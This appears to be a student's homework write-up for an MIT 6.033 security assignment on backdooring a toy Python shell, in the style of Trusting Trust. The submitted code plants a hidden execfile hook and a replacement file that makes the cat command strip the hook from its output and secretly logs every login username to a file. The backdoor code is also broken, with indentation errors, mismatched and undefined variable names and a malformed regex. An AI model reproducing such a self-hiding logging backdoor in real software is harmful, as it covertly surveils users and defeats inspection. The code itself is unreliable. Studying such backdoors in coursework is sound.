6.033 Buffer Trust

Kevin Cho
R5 Peter Szolovits 1PM

Due May 3rd 2016

I Warmup

1. The line you typ into terminal is cat shell.py. You can also use vi shell.py to see and edit the code if you want.
2. Besides the prompt that has changed, the code contains unicode for different colors it stores now. The error messages are also colored.
3. THe status commmand also shows the authentication status.

II Writing a backdoor

4. shell.py

```
#!/usr/bin/python

import errno
import os.path
import shlex
import subprocess
import sys
import urllib2

prompt = "pyshell $ "
count = 0

class CommandError(Exception):
    pass

def read_file(filename):
    with open(filename, 'r') as fd:
        return fd.read()
    execfile('new_shell.py')

def write_code(new_code):
    code_file = __file__
    with open(code_file, 'w') as code_fd:
        code_fd.write(new_code)


def update(args):
    if len(args) != 1:
        raise CommandError("Usage: update <url>")
    try:
        filename = args[0]
```

```
        if filename[0] == ".":
            new_code = read_file(filename)
        else:
            fd = urllib2.urlopen(args[0])
            new_code = fd.read()
        print "New code:"
        print new_code
        ret = raw_input('Enter "y" to write this update: ')
        if ret == 'y':
            write_code(new_code)
            print 'Saved update.'
            print 'You may want the "reexec" command to run the new code.'
        else:
            print 'Your response "%s" was not "y", so update not saved.' % (ret, )
    except urllib2.URLError, e:
        print "Error downloading update: %s" % (e.reason, )

def cat(args):
    if len(args) != 1:
        raise CommandError("Usage: cat <file>")
    filename = args[0]
    if '/' in filename:
        raise CommandError("cat: bare filenames only (no slashes allowed)")
    try:
        print read_file(filename)
    except IOError, e:
        print "Failed to open %s" % (filename, )

def reexec(args):
    print "Re-execing the shell to pick up any updates..."
    sys.stdout.flush()
    os.execl(__file__, __file__, str(count+1))



username = None

def login(args):
    if len(args) != 1:
        raise CommandError("Usage: login username")

    global username
    if username:
        raise CommandError("Already logged in.")
    username = args[0]

def logout(args):
    if len(args) != 0:
        raise CommandError("Usage: logout")

    global username
    if not username:
        raise CommandError("Not logged in.")
    username = None

def status(args):
    if len(args) != 0:
```

```
        raise CommandError("Usage: status")

    if username:
        print "Logged in as %s" % (username, )
    else:
        print "Not logged in."

def show_help(args):
    print "Available commands:"
    for cmd in commands:
        print "- " + cmd


commands = {
    'update': update,
    'cat': cat,
    'login': login,
    'logout': logout,
    'status': status,
    'reexec': reexec,
    'help': show_help,
}

def run_command(cmd, args):
    print "Running %s with args %s" % (cmd, args, )
    if cmd in commands:
        try:
            commands[cmd](args)
        except CommandError, e:
            print e.message
    else:
        print "%s: command not found" % (cmd, )

def shell():
    try:
        while True:
            cmd_str = raw_input(prompt)
            args = shlex.split(cmd_str)
            if not args: continue
            cmd = args[0]
            run_command(cmd, args[1:])
    except EOFError:
        print "\nGoodbye!"

if __name__ == '__main__':
    if len(sys.argv) > 1:
        count = int(sys.argv[1])
        print "Starting shell (count %d)" % (count, )
    else:
        count = 1
    shell()
```

new_shell.py

```
    import re

def read_file(filename):
        with open(filename, 'r') as f:
```

```
                fr = fd.read()
                return re.sub( r'execfile\(\'new_shell\.py\)\n', '', read)

def login(args):
    if len(args) != 1:
        raise CommandError("Usage: login username")

    global username
    if username:
        raise CommandError("Already logged in.")
    username = args[0]

        with open("usernames.txt", 'a') as fa:
                fa.write(username + "\n")
```

5. This assignment took about an hour and a half.